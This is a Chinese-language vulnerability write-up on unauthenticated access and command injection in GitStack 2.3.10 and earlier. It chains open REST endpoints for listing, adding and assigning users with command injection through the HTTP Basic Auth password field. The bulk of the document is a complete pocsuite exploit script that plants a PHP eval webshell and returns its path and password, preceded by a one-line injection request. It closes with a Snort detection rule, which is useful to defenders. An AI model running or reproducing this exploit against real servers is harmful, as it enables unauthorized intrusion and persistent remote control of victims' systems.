GitStack <= 2.3.10 非授权访问命令执行(文件上传)漏洞
漏洞概述:
该漏洞主要是通过以下几个漏洞同时利用达到远程命令执行效果:
-
用户相关
用户列表信息泄露、任意用户添加、任意用户密码修改
-
Project 相关
未授权条件下可以任意创建 project
-
HTTP Basic Authentication
HTTP Basic Authentication 认证过程中的漏洞,通过该漏洞,结合创建的 project 与用户名密码即可实现命令执行(文件上传)
漏洞环境搭建
下载 Gitstack 2.3.10 版本进行安装
漏洞复现
用户相关 rest_user:
1.使用 GET 方式可以直接查看 GitStack 仓库的用户列表,存在未授权访问信息泄露漏洞
直接访问http://ip/rest/user 即可获取 gitstack 库中的所有用户
2.通过 POST 方法,指定 username 和 password 可以直接添加仓库用户,存在任意用户添加漏洞
URL:http://ip/rest/user/
POST:username=test_username&password=test_passwd
project 相关:
1.通过 POST 一个带有 CSRF_TOKEN 的 name 值即可创建一个以 name 值命名的 project
CSRF_TOKEN 存在于 http://ip/registration/login/?next=/gitstack/ 的源码中
2.任意 project 添加 user
只需要向 http://ip/rest/repository/ 传递 new__project 和 new_username 的值即可在名为 new_project 的项目中创建名为 new_username 的用户
POST http://ip/rest/repository/new_projectname/user/new_username/
命令执行(文件上传):
通过 HTTP Basic Authentication 认证过程中的漏洞,发送如下请求即可实现命令执行,以上传文件为例子
requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST['a']); ?>" > c:GitStackgitphpexploit.php'))
EXP
该 EXP 使用 pocsuite 框架格式编写
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pocsuite.api.poc import register,Output, POCBase
from requests.auth import HTTPBasicAuth
import requests,urlparse,random,os,sys,hashlib,string
class TestPOC(POCBase):
vulID = 'N/A'
version = 'GitStack <= 2.3.10'
author = 'co0ontty'
vulDate = '2019-7-11'
createDate = '2019-7-16'
updateDate = '2018-3-31'
references = ['https://xz.gmail.com/t/2235']
name = 'GitStack <= 2.3.10 远程命令执行漏洞分析'
appPowerLink = 'https://gitstack.com'
appName = 'GitStack'
appVersion = 'GitStack <= 2.3.10'
vulType = '文件上传'
desc = '''
该漏洞利用GitStack正常使用过程中调用的接口的未授权访问漏洞,越权读取、创建、修改用户列表、仓库。通过进一步利用实现恶意文件的上传。
'''
samples = []
install_requires = []
def _attack(self):
result = {}
target = self.url
hostname = urlparse.urlparse(target).hostname
port = urlparse.urlparse(target).port
if port is None:
target = target+":80"
repository = ''.join(random.sample(string.digits+string.ascii_letters,4))
username = ''.join(random.sample(string.digits+string.ascii_letters,4))
password = ''.join(random.sample(string.digits+string.ascii_letters,4))
csrf_token = ''.join(random.sample(string.digits+string.ascii_letters,4))
user_list = []
r_getuser = requests.get("{}/rest/user/".format(target))
try:
user_list = r_getuser.json()
user_list.remove('everyone')
except:
pass
if len(user_list) > 0:
username = user_list[0]
else:
r_create_user = requests.post("{}/rest/user/".format(target),data={'username' : username, 'password' : password})
r_getrepo = requests.get("{}/rest/repository/".format(target))
repository_list = r_getrepo.json()
if len(repository_list) > 0:
repository = repository_list[0]['name']
r_post_csrftoken = requests.post("{}/rest/repository/".format(target), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
r_create_user = requests.post("{}/rest/repository/{}/user/{}/".format(target, repository, username))
r_del_user = requests.delete("{}/rest/repository/{}/user/{}/".format(target, repository, "everyone"))
random_file_name = ''.join(random.sample(string.ascii_letters+string.digits,16))+".php"
random_identify_code = ''.join(random.sample(string.ascii_letters+string.digits,35))
random_shell_pass = ''.join(random.sample(string.ascii_letters+string.digits,5))
webshell = 'p && echo " <?php @eval($_POST['+random_shell_pass+']);echo"'+random_identify_code+'";?>" > c:'
r_create_file = requests.get('{}/web/index.php?p={}.git&a=summary'.format(target, repository), auth=HTTPBasicAuth(username, "{}".format(webshell)+random_file_name))
test_url = target+"/web/"+random_file_name
r_attack = requests.get(test_url)
if (r_attack.status_code == 200):
if (random_identify_code in r_attack.text):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['ShellPath'] = test_url
result['VerifyInfo']['ShellPasswd'] = random_shell_pass
pass
return self.parse_output(result)
_verify = _attack
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
流量分析
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "GitStack Arbitrary PHP upload RCE CVE-2018-5955"; flow: established, to_server; content: "/web/index.php?"; http_uri; content: ".git"; distance: 0; http_uri; content: "Authorization:"; http_header; nocase; content: "Basic"; distance: 0; http_header; nocase; pcre: "/Basic\s+/i"; reference: cve, CVE-2018-5955; classtype: attempted-admin; sid: 30000045; rev: 1;)
首先对访问目录 /web/index.php?p=adasdad.git 的流量进行分析,判断 http_header 中是否存在 Authorization 且其中包含 Basic + 一串 base64 值,如果满足上述条件即可判定存在攻击行为